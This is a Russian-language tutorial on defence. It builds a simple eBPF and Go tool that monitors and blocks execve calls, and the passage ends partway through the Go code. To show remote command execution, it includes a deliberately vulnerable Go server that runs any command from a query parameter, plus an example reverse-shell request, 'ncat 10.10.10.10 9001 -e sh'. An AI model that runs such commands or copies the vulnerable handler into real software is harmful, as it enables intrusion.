ADR на базе eBPF: Защита в реальном времени
Содержание
Введение #
Современные веб-приложения - это не просто удобные сервисы, а сложные экосистемы, которые взаимодействуют с пользователем на множестве уровней. Каждый из этих уровней может стать точкой входа для атак. SQL-инъекции, RCE (Remote Command Execution), SSTI (Server-side Template Injection), SSRF (Server-side Request Forgery) и другие уязвимости позволяют хакерам получить несанкционированный доступ к данным, ресурсам и системам.
Для защиты веб-приложений часто применяют различные средства безопасности, такие как Web Application Firewall (WAF), Firewalls, IDS/IPS (Intrusion Detection System/Intrusion Prevention System) и т. п. Однако эти меры, как правило, ориентированы на периметр системы и могут не предотвратить атаки, направленные на внутренние компоненты. Тут на помощь приходит ADR (Application Detection and Response).
В этой статье мы рассмотрим:
- Понятные объяснения сложных концепций.
- Популярные технологии для реализации ADR (eBPF, Go и др.).
- Практические примеры обнаружения и предотвращения распространенных атак.
Цель этой статьи - помочь понять, как работает ADR и как можно его реализовать с помощью ebpf + golang.
Введение в ADR #
Прежде чем перейти к деталям ADR, важно осознать, что он закрывает критически важный пробел в стратегиях безопасности многих организаций - отсутствие эффективного механизма обнаружения угроз на уровне приложений.
WAF - это средство безопасности, предназначенное для мониторинга, фильтрации и блокировки HTTP-трафика, поступающего в веб-приложение и исходящего из него. Работая на сетевом уровне, WAF защищает веб-приложения от таких атак, как межсайтовый скриптинг (XSS), SQL-инъекции и других.
Многие организации используют WAF в качестве основного средства защиты от угроз на уровне приложений, но этот подход имеет ряд существенных ограничений:
- Ориентация на сетевой уровень։ WAF анализируют входящий трафик на уровне сети, пытаясь выявить потенциальные угрозы. Этот подход эффективен против атак, известных по сигнатурам, но он не предоставляет полной картины того, что происходит внутри самого приложения.
- Ложные срабатывания։ Из-за отсутствия контекста, связанного с логикой работы приложения, WAF часто генерируют большое количество ложных срабатываний. Это создает дополнительную нагрузку на команды безопасности.
- Уязвимость к методам обхода։ Одним из наиболее критичных недостатков WAF является их уязвимость к методам обхода. Злоумышленники могут обойти защиту, применяя варианты кодирования, манипуляции с протоколами, наполнением полезной нагрузки или используя недостатки самого приложения, которые остаются невидимыми на сетевом уровне.
Application Detection & Response (ADR) - это более продвинутый подход к обеспечению безопасности веб-приложений, направленный на защиту приложений во время их выполнения. В отличие от традиционных средств защиты, таких как WAF, IDS/IPS, которые контролируют инфраструктуру или сетевой периметр, ADR работает непосредственно внутри приложения, анализируя его поведение в реальном времени. Обнаруживая аномальные действия компонентов, которые могут сигнализировать о начале атаки, ADR позволяет предотвратить её до эскалации. ADR использует современные методы инструментирования и разработан с упором на лёгкость и минимальное влияние на производительность и стабильность приложений. Это выгодно отличает его от устаревших методов, таких как Runtime Application Self-Protection (RASP).
ADR-системы используют различные методы для обнаружения атак, включая:
- Анализ сетевого трафика: Отслеживают подозрительные запросы и соединения.
- Мониторинг системных вызовов: Выявляют попытки выполнения вредоносных команд.
- Анализ поведения пользователей: Отслеживают необычные действия, которые могут свидетельствовать о компрометации учетной записи.
- Использование машинного обучения: Разрабатывают модели для автоматического обнаружения новых типов угроз.
Преимущества использования ADR:
- Глубокий анализ: ADR анализирует не только сетевой трафик, но и поведение приложения внутри, что позволяет обнаруживать более сложные и скрытые атаки.
- Противодействие обходу WAF: ADR выступает в роли дополнительной линии защиты, обнаруживая угрозы, которые смогли обойти традиционные механизмы WAF.
- Автоматизация: Многие ADR-системы могут автоматически реагировать на угрозы, блокируя вредоносные запросы и уведомляя администраторов.
- Интеграция: ADR может обеспечить анализ уровня приложения для групп безопасности без необходимости предварительного «встраивания» приложения в приложение разработчиками.
- Защита от уязвимостей нулевого дня: Благодаря глубокой аналитике поведения приложения ADR способен выявлять и реагировать на новые паттерны атак, улучшая защиту от уязвимостей нулевого дня.
Для работы всего этого в ADR системах используется современная технология eBPF.
Введение в eBPF #
eBPF - это мощная технология, позволяющая запускать пользовательский код прямо в ядре Linux. Представьте это как микропрограмму внутри операционной системы.
Зачем он нам нужен?
- eBPF позволяет нам создать очень точный и быстрый механизм для мониторинга системных вызовов и сетевого трафика в реальном времени.
- Это дает нам возможность обнаруживать атаки еще на самых ранних стадиях.
Подробнее про eBPF вы можете прочитать в моей статье.
Пример работы #
Идея и демонстрация работы #
Для начала, рассмотрим пример работы программы, которую я уже написал, чтобы понять её возможности и принципы. Обратите внимание, что представленная программа предназначена исключительно для демонстрации возможностей eBPF и минимальной реализации ADR (Application Detection & Response).
Конфигурационный файл #
Программа использует конфигурационный файл для определения правил и разрешений. Пример такого файла выглядит следующим образом:
targets:
- type: "command"
value: "/usr/bin/whoami"
actions:
block: false
- type: "pid"
value: 309413
actions:
monitor: true
block: true
- type: "uid"
value: 1000
actions:
monitor: false
Объяснение структуры конфигурации #
- targets - список целей для мониторинга или блокировки.
- type - тип цели. Это может быть:
- command - команда, которая должна быть разрешена или заблокирована.
- pid - идентификатор процесса (
PID
), для которого будут применяться правила. - uid - идентификатор пользователя (
UID
), для которого будут действовать правила.
- value - значение для указанного типа (например, путь к команде,
PID
илиUID
). - actions - действия, которые можно применить:
- monitor - мониторинг активности (логирование выполнения).
- block - блокировка выполнения команды или действия.
Важно отметить, что, при изменении конфигурационного файла, правила обновляются в реальном времени, без необходимости перезагрузки программы.
Приоритет применения правил #
Если цель подпадает под несколько категорий, используется следующая приоритетность:
- command - проверяется в первую очередь.
- pid - если команда не найдена, проверяется PID.
- uid - если ни команда, ни PID не соответствуют, применяется правило для UID.
Пример работы программы #
Предположим, у нас есть сервер, который принимает HTTP-запросы по следующему URL:
http://localhost:8080/?cmd=команда
Расмотрим уязвимость RCE в самой банальной её реализации.
Сервер выполняет переданную команду. Допустим, разработчики изначально предполагали, что этот сервер будет обрабатывать только команду whoami
, но по неосторожности допустили возможность выполнения произвольной команды. В результате злоумышленник может отправить запрос с вредоносной командой, например:
http://localhost:8080/?cmd=ncat 10.10.10.10 9001 -e sh
Кликни сюда, чтобы увидеть весь код:
package main
import (
"errors"
"log"
"net/http"
"os/exec"
"strings"
)
func parseCmd(cmd string) (string, []string, error) {
args := strings.Split(cmd, " ")
if len(args) == 0 {
return "", nil, errors.New("no command provided")
}
return args[0], args[1:], nil
}
func rce(w http.ResponseWriter, r *http.Request) {
command := r.URL.Query().Get("cmd")
if command == "" {
http.Error(w, "cmd parameter is required", http.StatusBadRequest)
return
}
path, args, err := parseCmd(command)
if err != nil {
http.Error(w, err.Error(), http.StatusBadRequest)
return
}
cmd := exec.Command(path, args...)
out, err := cmd.Output()
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
log.Printf("Command output: %s", out)
w.Write(out)
}
func main() {
http.HandleFunc("/", rce)
http.ListenAndServe(":8080", nil)
}
Этот запрос может привести к выполнению опасной команды на сервере. Эта ситуация и называется Remote Command Execution (RCE) - одна из самых серьёзных уязвимостей. Однако ADR способен предотвратить выполнение этой команды.
Пример сценария с использованием ADR:
- В разделе
pid
указываетсяPID
процесса сервера. - В разделе
command
разрешается толькоwhoami
. - В разделе
uid
можно указатьUID
пользователя, чтобы мониторить все команды, запускаемые этим пользователем.
В результате, злоумышленник не сможет выполнить произвольные команды, а действия пользователей и процессов будут под контролем. ADR становится дополнительным уровнем защиты, который позволяет быстрее обнаружить и исправить ошибки в коде. Таким образом ADR может предотвратить эксплуатацию уязвимостей и дать время для их исправления разработчиками.
До включения ADR #
- Злоумышленник отправляет запрос с произвольной командой.
- Сервер выполняет эту команду без ограничений.
- Существует риск выполнения вредоносного кода и компрометации системы.
После включения ADR #
- Приходит запрос с произвольной командой.
- ADR перехватывает системный вызов
execve
. - Сначала проверяется правило для команды. Если команда не соответствует разрешённым командам (например, не
whoami
), она блокируется. - Если правило для команды не найдено, проверяется правило для
PID
. ЕслиPID
сервера находится в списке целей с флагомblock: true
, то выполнение команды будет заблокировано. - Если ни правило для команды, ни правило для
PID
не сработали, проверяется правило дляUID
.
Далее рассмотрим процесс создания написанной мной программы с использованием технологий eBPF
и Go
, которая прездназначена для перехвата и мониторинга системных вызовов либо их блокировки.
Реализация eBPF программ #
Для начала, определим некоторые константы и структуры:
#define MAX_CMD_LEN 32
#define ARG_SIZE 64
#define MAX_ARGS 6
#define FULL_MAX_ARGS_ARR (MAX_ARGS * ARG_SIZE)
#define LAST_ARG (FULL_MAX_ARGS_ARR - ARG_SIZE)
MAX_CMD_LEN
: Максимальная длина имени команды. Будем считать, что 32 символа вполне достаточно для большинства случаев.ARG_SIZE
: Максимальный размер одного аргумента. Отведем под него 64 байта, чтобы вместить большинство аргументов.MAX_ARGS
: Максимальное количество аргументов, которые мы хотим анализировать. Ограничимся 6 аргументами.FULL_MAX_ARGS_ARR
: Это вычисляемое значение, равное общему размеру массива для всех аргументов.LAST_ARG
: Индекс последнего элемента массива аргументов. Это нужно для удобства при обработке массива.
struct trace_event_raw_sys_enter {
char unused1[16];
long unsigned int args[MAX_ARGS];
};
Каждый раз, когда в нашей программе происходит системный вызов, операционная система создает специальную структуру данных, чтобы сохранить информацию о нем. Эта структура называется trace_event_raw_sys_enter
.
- Неиспользуемые байты: Первые 16 байтов этой структуры нам не нужны.
- Массив аргументов: Второе поле - это массив, который хранит значения аргументов, переданных системному вызову.
Уточнение: мы можем сами не создавать эти структуры, а использовать vmlinux.h
.
Но, так как я не использую vmlinux.h
, мне надо добавить выравнивание в структуре.
typedef struct {
unsigned int val;
} kuid_t;
struct task_struct {
struct task_struct *real_parent;
__u32 tgid;
};
Для получения идентификатора родительского процесса (PPID
) нам понадобится структура task_struct
. В этой структуре хранится информация о текущем процессе, включая указатель на структуру родительского процесса.
struct event {
__u32 uid;
__u32 pid;
__u32 ppid;
__u32 args_count;
__u32 args_size;
char command[MAX_CMD_LEN];
char args[FULL_MAX_ARGS_ARR];
};
Структура event
предназначена для хранения информации о каждом зафиксированном событии (в нашем случае - запуске процесса). Она содержит следующие поля:
uid
: Идентификатор пользователя, запустившего процесс.pid
: Идентификатор текущего процесса.ppid
: Идентификатор родительского процесса.args_count
: Количество аргументов, переданных процессу.args_size
: Общий размер всех аргументов.command
: Имя запущенной команды.args
: Массив для хранения аргументов, переданных команде.
struct {
__uint(type, BPF_MAP_TYPE_RINGBUF);
__uint(max_entries, 1 << 24);
} events SEC(".maps");
Для хранения информации о событиях используем кольцевой буфер.
Кольцевой буфер - это специальная структура данных, которая позволяет эффективно добавлять и удалять элементы. В нашем случае, буфер будет хранить структуры event, содержащие информацию о запущенных процессах.
Атрибут max_entries
определяет максимальное количество событий, которые могут быть одновременно хранимы в буфере.
struct TargetKey {
__u8 type; // 'c' for command, 'u' for UID, 'p' for PPID
// padding is required to align the 4-byte __u32 id
__u8 reserved[3];
union {
char command[MAX_CMD_LEN];
__u32 id;
};
};
Структура TargetKey
используется для хранения ключей в нашем мапе targets
(который создадим чуть позже). Ключ может представлять собой имя команды (‘c’), идентификатор пользователя (‘u’) или идентификатор процесса (‘p’).
Поле reserved используется для правильного выравнивания данных в памяти.
Объединение (union
) позволяет нам хранить в одном и том же участке памяти либо имя команды, либо идентификатор (UID
или PID
).
typedef __u8 TargetValue;
// +---+---+---+---+---+---+---+---+
// | 7 | 6 | 5 | 4 | 3 | 2 | M | B |
// +---+---+---+---+---+---+---+---+
// | M | B |
// | 1 | 0 | - Monitored
// | 0 | 1 | - Blocked
// | 1 | 1 | - Monitored and Blocked
Тип TargetValue
используется для хранения информации о том, какие действия необходимо выполнить с процессом, найденным по соответствующему ключу в мапе targets
.
Он представляет собой 8-битное целое число, где каждый бит имеет свое назначение:
- Бит M (Monitor): Если установлен в 1, то процесс должен быть мониторирован.
- Бит B (Block): Если установлен в 1, то процесс должен быть заблокирован.
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__type(key, struct TargetKey);
__type(value, TargetValue);
__uint(max_entries, 1024);
} targets SEC(".maps");
Мапа targets
используется для хранения правил фильтрации.
Это хэш-таблица, где ключом является структура TargetKey
(имя команды, UID
или PID
), а значением - структура TargetValue
(информация о действиях, которые необходимо выполнить).
Далее создадим функции, которые используются для проверки бит в значении TargetValue
.
Функция is_monitored
проверяет, установлен ли бит M (мониторинг), а функция is_blocked
- бит B (блокировка).
static __always_inline int is_monitored(TargetValue val) {
return (val & 0b10) >> 1; // Check the monitor bit
}
static __always_inline int is_blocked(TargetValue val) {
return val & 0b01; // Check the block bit
}
Теперь создадим функцию для монитора системных вызовов monitor_syscalls
.
Внутри функции monitor_syscalls
мы сначала получаем информацию о запущенном процессе:
- Извлекаем идентификатор текущего процесса (
PID
) и его родительского процесса (PPID
). - Получаем идентификатор пользователя, запустившего процесс (
UID
).
SEC("tracepoint/syscalls/sys_enter_execve")
int monitor_syscalls(struct trace_event_raw_sys_enter *ctx) {
int ret;
__u32 pid = bpf_get_current_pid_tgid() >> 32;
struct task_struct *task = (struct task_struct *)bpf_get_current_task();
__u32 ppid = BPF_CORE_READ(task, real_parent, tgid);
struct event evt = {0};
__u32 uid = bpf_get_current_uid_gid();
// ...
}
- Извлекаем имя запускаемой программы.
SEC("tracepoint/syscalls/sys_enter_execve")
int monitor_syscalls(struct trace_event_raw_sys_enter *ctx) {
// ...
char *path_ptr = (char *)BPF_CORE_READ(ctx, args[0]);
if (bpf_probe_read_str(&evt.command, sizeof(evt.command), path_ptr) < 0)
return 0;
// ...
}
Проверяем, нужно ли отслеживать процесс:
- Используем функцию
check_action
для проверки на основе имени программы,UID
илиPPID
. - Если процесс не требует отслеживания, завершаем работу функции.
SEC("tracepoint/syscalls/sys_enter_execve")
int monitor_syscalls(struct trace_event_raw_sys_enter *ctx) {
// ...
__u8 action_type;
int result = check_action(ppid, uid, evt.command, is_monitored, &action_type);
if (result == 0)
return 0;
// ...
}
Собираем информацию о событии:
- Заполняем структуру event информацией о процессе:
PID
,UID
,PPID
. - Инициализируем счетчики аргументов (количество и общий размер).
SEC("tracepoint/syscalls/sys_enter_execve")
int monitor_syscalls(struct trace_event_raw_sys_enter *ctx) {
// ...
evt.pid = pid;
evt.uid = uid;
evt.ppid = ppid;
evt.args_count = 0;
evt.args_size = 0;
const char **args = (const char **)(ctx->args[1]);
const char *argp;
// ...
}
Извлекаем первый аргумент (путь к программе):
- Безопасно считываем строку первого аргумента и сохраняем ее в поле
args
структурыevent
. - Обновляем счетчик общего размера аргументов.
SEC("tracepoint/syscalls/sys_enter_execve")
int monitor_syscalls(struct trace_event_raw_sys_enter *ctx) {
// ...
ret = bpf_probe_read_user_str(evt.args, ARG_SIZE, (const char *)ctx->args[0]);
if (ret < 0)
return 0;
if (ret <= ARG_SIZE) {
evt.args_size += ret;
} else {
evt.args[0] = '\0';
evt.args_size++;
}
evt.args_count++;
// ...
}
Перебираем оставшиеся аргументы (максимум MAX_ARGS
):
- Безопасно считываем адрес каждого аргумента из массива аргументов системного вызова.
- Проверяем, есть ли место для записи следующего аргумента в буфере для аргументов.
- Если место есть, безопасно считываем строку аргумента и добавляем ее в буфер. Обновляем счетчик количества и общего размера аргументов.
SEC("tracepoint/syscalls/sys_enter_execve")
int monitor_syscalls(struct trace_event_raw_sys_enter *ctx) {
// ...
#pragma unroll
for (__u32 i = 1; i < MAX_ARGS; i++) {
ret = bpf_probe_read_user(&argp, sizeof(argp), &args[i]);
if (ret < 0)
break;
if (evt.args_size > LAST_ARG)
break;
ret = bpf_probe_read_user_str(&evt.args[evt.args_size], ARG_SIZE, argp);
if (ret < 0)
break;
evt.args_count++;
evt.args_size += ret;
}
ret = bpf_probe_read_user(&argp, sizeof(argp), &args[MAX_ARGS]);
if (ret < 0)
return 0;
evt.args_count++;
}
Записываем событие в кольцевой буфер:
- Резервируем место в кольцевом буфере
events
для хранения структурыevent
. - Копируем структуру
event
в зарезервированную область памяти. - Отправляем
event
в буфер.
SEC("tracepoint/syscalls/sys_enter_execve")
int monitor_syscalls(struct trace_event_raw_sys_enter *ctx) {
// ...
void *ringbuf_data = bpf_ringbuf_reserve(&events, sizeof(evt), 0);
if (!ringbuf_data)
return 0;
__builtin_memcpy(ringbuf_data, &evt, sizeof(evt));
bpf_ringbuf_submit(ringbuf_data, 0);
return 0;
}
Теперь напишем функцию для перехвата и блокировки системных вызовов.
struct linux_binprm {
char unused1[72];
struct cred *cred;
char unused2[24];
const char *filename;
char unused3[312];
};
struct cred {
char unused1[8];
kuid_t uid;
};
SEC("lsm/bprm_check_security")
int BPF_PROG(enforce_execve, struct linux_binprm *bprm, int ret) {
if (ret != 0)
return ret;
__u32 cred_uid = -1;
char current_comm[MAX_CMD_LEN] = {0};
bpf_probe_read_kernel(&cred_uid, sizeof(cred_uid), &bprm->cred->uid.val);
bpf_probe_read_kernel_str(¤t_comm, sizeof(current_comm), bprm->filename);
struct task_struct *task = (struct task_struct *)bpf_get_current_task();
__u32 ppid = BPF_CORE_READ(task, real_parent, tgid);
__u8 action_type;
int result = check_action(ppid, cred_uid, current_comm, is_blocked, &action_type);
if (result)
return -1;
return ret;
}
char LICENSE[] SEC("license") = "GPL";
Так как я не подключил vmlinux.h
, я буду использовать поля unused
для правильного выравнивания.
Далее снова получаем внутри функции идентификатор его родительского процесса (PPID
), пользователя, запустившего процесс (UID
), и filename
где хранится путь вызываемого файла.
Проверяем, нужно ли блокировать системный вызов:
- Используем функцию
check_action
для проверки на основе имени программы,UID
илиPPID
. - Если процесс требует блокировку, то возвращаем -1, таким образом запретив системный вызов.
Полный код #
Кликни сюда, чтобы увидеть весь код:
//go:build ignore
#include <linux/bpf.h>
#include <bpf/bpf_core_read.h>
#include <bpf/bpf_tracing.h>
#define MAX_CMD_LEN 32
#define ARG_SIZE 64
#define MAX_ARGS 6
#define FULL_MAX_ARGS_ARR (MAX_ARGS * ARG_SIZE)
#define LAST_ARG (FULL_MAX_ARGS_ARR - ARG_SIZE)
struct trace_event_raw_sys_enter {
char unused1[16];
long unsigned int args[MAX_ARGS];
};
typedef struct {
unsigned int val;
} kuid_t;
struct task_struct {
struct task_struct *real_parent;
__u32 tgid;
};
struct event {
__u32 uid;
__u32 pid;
__u32 ppid;
__u32 args_count;
__u32 args_size;
char command[MAX_CMD_LEN];
char args[FULL_MAX_ARGS_ARR];
};
struct {
__uint(type, BPF_MAP_TYPE_RINGBUF);
__uint(max_entries, 1 << 24);
} events SEC(".maps");
struct TargetKey {
__u8 type; // 'c' for command, 'u' for UID, 'p' for PPID
// padding is required to align the 4-byte __u32 id
__u8 reserved[3];
union {
char command[MAX_CMD_LEN];
__u32 id;
};
};
typedef __u8 TargetValue;
// +---+---+---+---+---+---+---+---+
// | 7 | 6 | 5 | 4 | 3 | 2 | M | B |
// +---+---+---+---+---+---+---+---+
// | M | B |
// | 1 | 0 | - Monitored
// | 0 | 1 | - Blocked
// | 1 | 1 | - Monitored and Blocked
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__type(key, struct TargetKey);
__type(value, TargetValue);
__uint(max_entries, 1024);
} targets SEC(".maps");
static __always_inline int is_monitored(TargetValue val) {
return (val & 0b10) >> 1; // Check the monitor bit
}
static __always_inline int is_blocked(TargetValue val) {
return val & 0b01; // Check the block bit
}
static __always_inline int check_action(__u32 pid, __u32 uid, const char *cmd, int (*check_fn)(TargetValue), __u8 *action_type) {
struct TargetKey key = {};
TargetValue *value;
__builtin_memset(&key, 0, sizeof(key));
key.type = 'c';
bpf_probe_read_str(key.command, sizeof(key.command), cmd);
value = bpf_map_lookup_elem(&targets, &key);
if (value) {
*action_type = 'c';
return check_fn(*value);
}
__builtin_memset(&key, 0, sizeof(key));
key.type = 'p';
key.id = pid;
value = bpf_map_lookup_elem(&targets, &key);
if (value) {
*action_type = 'p';
return check_fn(*value);
}
__builtin_memset(&key, 0, sizeof(key));
key.type = 'u';
key.id = uid;
value = bpf_map_lookup_elem(&targets, &key);
if (value) {
*action_type = 'u';
return check_fn(*value);
}
return 0;
}
SEC("tracepoint/syscalls/sys_enter_execve")
int monitor_syscalls(struct trace_event_raw_sys_enter *ctx) {
int ret;
__u32 pid = bpf_get_current_pid_tgid() >> 32;
struct task_struct *task = (struct task_struct *)bpf_get_current_task();
__u32 ppid = BPF_CORE_READ(task, real_parent, tgid);
struct event evt = {0};
__u32 uid = bpf_get_current_uid_gid();
char *path_ptr = (char *)BPF_CORE_READ(ctx, args[0]);
if (bpf_probe_read_str(&evt.command, sizeof(evt.command), path_ptr) < 0)
return 0;
__u8 action_type;
int result = check_action(ppid, uid, evt.command, is_monitored, &action_type);
if (result == 0)
return 0;
evt.pid = pid;
evt.uid = uid;
evt.ppid = ppid;
evt.args_count = 0;
evt.args_size = 0;
const char **args = (const char **)(ctx->args[1]);
const char *argp;
ret = bpf_probe_read_user_str(evt.args, ARG_SIZE, (const char *)ctx->args[0]);
if (ret < 0)
return 0;
if (ret <= ARG_SIZE) {
evt.args_size += ret;
} else {
evt.args[0] = '\0';
evt.args_size++;
}
evt.args_count++;
#pragma unroll
for (__u32 i = 1; i < MAX_ARGS; i++) {
ret = bpf_probe_read_user(&argp, sizeof(argp), &args[i]);
if (ret < 0)
break;
if (evt.args_size > LAST_ARG)
break;
ret = bpf_probe_read_user_str(&evt.args[evt.args_size], ARG_SIZE, argp);
if (ret < 0)
break;
evt.args_count++;
evt.args_size += ret;
}
ret = bpf_probe_read_user(&argp, sizeof(argp), &args[MAX_ARGS]);
if (ret < 0)
return 0;
evt.args_count++;
void *ringbuf_data = bpf_ringbuf_reserve(&events, sizeof(evt), 0);
if (!ringbuf_data)
return 0;
__builtin_memcpy(ringbuf_data, &evt, sizeof(evt));
bpf_ringbuf_submit(ringbuf_data, 0);
return 0;
}
struct linux_binprm {
char unused1[72];
struct cred *cred;
char unused2[24];
const char *filename;
char unused3[312];
};
struct cred {
char unused1[8];
kuid_t uid;
};
SEC("lsm/bprm_check_security")
int BPF_PROG(enforce_execve, struct linux_binprm *bprm, int ret) {
if (ret != 0)
return ret;
__u32 cred_uid = -1;
char current_comm[MAX_CMD_LEN] = {0};
bpf_probe_read_kernel(&cred_uid, sizeof(cred_uid), &bprm->cred->uid.val);
bpf_probe_read_kernel_str(¤t_comm, sizeof(current_comm), bprm->filename);
struct task_struct *task = (struct task_struct *)bpf_get_current_task();
__u32 ppid = BPF_CORE_READ(task, real_parent, tgid);
__u8 action_type;
int result = check_action(ppid, cred_uid, current_comm, is_blocked, &action_type);
if (result)
return -1;
return ret;
}
char LICENSE[] SEC("license") = "GPL";
Реализация программы на golang #
Для запуска eBPF-программ напишем небольшую программу на Golang, которая выполняет следующие действия:
- Запускает eBPF-программы:
// ...
if err := rlimit.RemoveMemlock(); err != nil {
log.Fatalf("Failed to remove memlock: %v", err)
}
// Attach eBPF programs
monProg := objs.MonitorSyscalls
monLnk, err := link.Tracepoint("syscalls", "sys_enter_execve", monProg, nil)
if err != nil {
log.Fatalf("Failed to attach eBPF program: %v", err)
}
defer monLnk.Close()
lsmProg := objs.EnforceExecve
lsmLnk, err := link.AttachLSM(link.LSMOptions{
Program: lsmProg,
})
if err != nil {
log.Fatalf("Failed to attach eBPF program: %v", err)
}
defer lsmLnk.Close()
log.Println("eBPF programs are attached successfully.")
// ...
- Парсит конфигурационный файл, инициализирует eBPF-мапы и заполняет их:
// ...
var objs adrObjects
if err := loadAdrObjects(&objs, nil); err != nil {
log.Fatalf("Error loading eBPF objects: %v", err)
}
defer objs.Close()
currentTargets := populateMap(objs.Targets, config, nil)
// ...
- Слушает события от eBPF-программ и выводит данные в консоль:
// ...
sig := make(chan os.Signal, 1)
signal.Notify(sig, syscall.SIGINT, syscall.SIGTERM)
done := make(chan bool)
go func() {
log.Println("Listening for events...")
for {
record, err := rd.Read()
if err != nil {
if errors.Is(err, ringbuf.ErrFlushed) {
done <- true
break
}
log.Printf("Error reading from ring buffer: %v", err)
continue
}
var event Event
if err := event.UnmarshalBinary(record.RawSample); err != nil {
log.Printf("Error unmarshaling event: %v", err)
continue
}
log.Printf(
"Event: UID=%d PID=%d PPID=%d Command=%s\n",
event.UID, event.PID, event.PPID,
printArgs(&event),
)
}
}()
<-sig
log.Println("Received exit signal (Ctrl+C), starting timeout...")
timeout := time.After(1 * time.Second)
select {
case <-timeout:
log.Println("Timeout reached, closing reader...")
if err := rd.Flush(); err != nil {
log.Printf("Error flushing ring buffer: %v", err)
}
case <-done:
log.Println("Reader finished early, exiting...")
}
log.Println("Exiting...")
// ...
- Отслеживает изменения в конфигурационном файле в реальном времени и обновляет мапы при каждом изменении:
// ...
func watchConfig(configFile string, targetsMap *ebpf.Map, currentTargets map[TargetKey]uint8) {
watcher, err := fsnotify.NewWatcher()
if err != nil {
log.Fatalf("Failed to create file watcher: %v", err)
}
defer watcher.Close()
if err := watcher.Add(configFile); err != nil {
log.Fatalf("Failed to watch config file: %v", err)
}
for {
select {
case event, ok := <-watcher.Events:
if !ok {
return
}
if event.Op.Has(fsnotify.Write) {
log.Println("Config file changed, reloading...")
time.Sleep(1 * time.Second)
var config Config
if err := loadConfig(event.Name, &config); err != nil {
log.Printf("Error reloading config: %v", err)
continue
}
populateMap(targetsMap, config, currentTargets)
}
case err := <-watcher.Errors:
log.Printf("File watcher error: %v", err)
}
}
}
// ...
Полный код #
Кликни сюда, чтобы увидеть весь код:
package main
import (
"encoding/binary"
"errors"
"fmt"
"log"
"os"
"os/signal"
"syscall"
"time"
"unsafe"
"github.com/cilium/ebpf"
"github.com/cilium/ebpf/link"
"github.com/cilium/ebpf/ringbuf"
"github.com/cilium/ebpf/rlimit"
"github.com/fsnotify/fsnotify"
"gopkg.in/yaml.v2"
)
//go:generate go run github.com/cilium/ebpf/cmd/bpf2go adr ./bpf/adr.c
const (
MaxCmdLen = 32
ArgSize = 64
MaxArgs = 6
FullMaxArgsArr = MaxArgs * ArgSize
)
type Event struct {
UID uint32
PID uint32
PPID uint32
ArgsCount uint32
ArgSize uint32
Command [MaxCmdLen]byte
Args [FullMaxArgsArr]byte
}
type Config struct {
Targets []Target `yaml:"targets"`
}
type Target struct {
Type string `yaml:"type"` // e.g., "command", "pid", "uid"
Value string `yaml:"value"` // e.g., "/usr/bin/ls", "1234", "0"
Actions Actions `yaml:"actions"` // Actions that can be applied to this target
}
type Actions struct {
Monitor bool `yaml:"monitor"`
Block bool `yaml:"block"`
}
func (e *Event) UnmarshalBinary(data []byte) error {
if len(data) < int(unsafe.Sizeof(*e)) {
return fmt.Errorf("not enough data to unmarshal Event: len=%d", len(data))
}
e.UID = binary.LittleEndian.Uint32(data[0:4])
e.PID = binary.LittleEndian.Uint32(data[4:8])
e.PPID = binary.LittleEndian.Uint32(data[8:12])
e.ArgsCount = binary.LittleEndian.Uint32(data[12:16])
e.ArgSize = binary.LittleEndian.Uint32(data[16:20])
copy(e.Command[:], data[20:52])
copy(e.Args[:], data[52:])
return nil
}
func main() {
configFile := "config.yml"
var config Config
if err := loadConfig(configFile, &config); err != nil {
log.Fatalf("Error loading config: %v", err)
}
if err := rlimit.RemoveMemlock(); err != nil {
log.Fatalf("Failed to remove memlock: %v", err)
}
var objs adrObjects
if err := loadAdrObjects(&objs, nil); err != nil {
log.Fatalf("Error loading eBPF objects: %v", err)
}
defer objs.Close()
currentTargets := populateMap(objs.Targets, config, nil)
// Attach eBPF programs
monProg := objs.MonitorSyscalls
monLnk, err := link.Tracepoint("syscalls", "sys_enter_execve", monProg, nil)
if err != nil {
log.Fatalf("Failed to attach eBPF program: %v", err)
}
defer monLnk.Close()
lsmProg := objs.EnforceExecve
lsmLnk, err := link.AttachLSM(link.LSMOptions{
Program: lsmProg,
})
if err != nil {
log.Fatalf("Failed to attach eBPF program: %v", err)
}
defer lsmLnk.Close()
log.Println("eBPF programs are attached successfully.")
rd, err := ringbuf.NewReader(objs.Events)
if err != nil {
log.Fatalf("Failed to open ring buffer: %v", err)
}
defer rd.Close()
go watchConfig(configFile, objs.Targets, currentTargets)
sig := make(chan os.Signal, 1)
signal.Notify(sig, syscall.SIGINT, syscall.SIGTERM)
done := make(chan bool)
go func() {
log.Println("Listening for events...")
for {
record, err := rd.Read()
if err != nil {
if errors.Is(err, ringbuf.ErrFlushed) {
done <- true
break
}
log.Printf("Error reading from ring buffer: %v", err)
continue
}
var event Event
if err := event.UnmarshalBinary(record.RawSample); err != nil {
log.Printf("Error unmarshaling event: %v", err)
continue
}
log.Printf(
"Event: UID=%d PID=%d PPID=%d Command=%s\n",
event.UID, event.PID, event.PPID,
printArgs(&event),
)
}
}()
<-sig
log.Println("Received exit signal (Ctrl+C), starting timeout...")
timeout := time.After(1 * time.Second)
select {
case <-timeout:
log.Println("Timeout reached, closing reader...")
if err := rd.Flush(); err != nil {
log.Printf("Error flushing ring buffer: %v", err)
}
case <-done:
log.Println("Reader finished early, exiting...")
}
log.Println("Exiting...")
}
func loadConfig(filename string, config *Config) error {
file, err := os.Open(filename)
if err != nil {
return fmt.Errorf("failed to open config file: %w", err)
}
defer file.Close()
stat, err := file.Stat()
if err != nil || stat.Size() == 0 {
return fmt.Errorf("config file is empty or invalid")
}
decoder := yaml.NewDecoder(file)
if err := decoder.Decode(config); err != nil {
return fmt.Errorf("failed to decode YAML config: %w", err)
}
return nil
}
type TargetKey struct {
Type uint8 // 'c' = command, 'p' = PID, 'u' = UID
Reserved [3]byte // Padding for alignment
Data [32]byte // Can store either a command (char[32]) or a 32-bit ID
}
func (k TargetKey) String() string {
// e.g. -> c:/usr/bin/ls or u:1000 or p:1234
switch k.Type {
case 'c':
return fmt.Sprintf("c:%s", string(k.Data[:]))
case 'u', 'p':
id := binary.LittleEndian.Uint32(k.Data[:4])
return fmt.Sprintf("%c:%d", k.Type, id)
default:
return fmt.Sprintf("unknown:%d", k.Type)
}
}
func NewTargetKey(targetType byte, value string) (TargetKey, error) {
var key TargetKey
key.Type = targetType
if targetType == 'c' { // Command
if len(value) > 32 {
return key, fmt.Errorf("command too long (max 32 bytes): %s", value)
}
copy(key.Data[:], value)
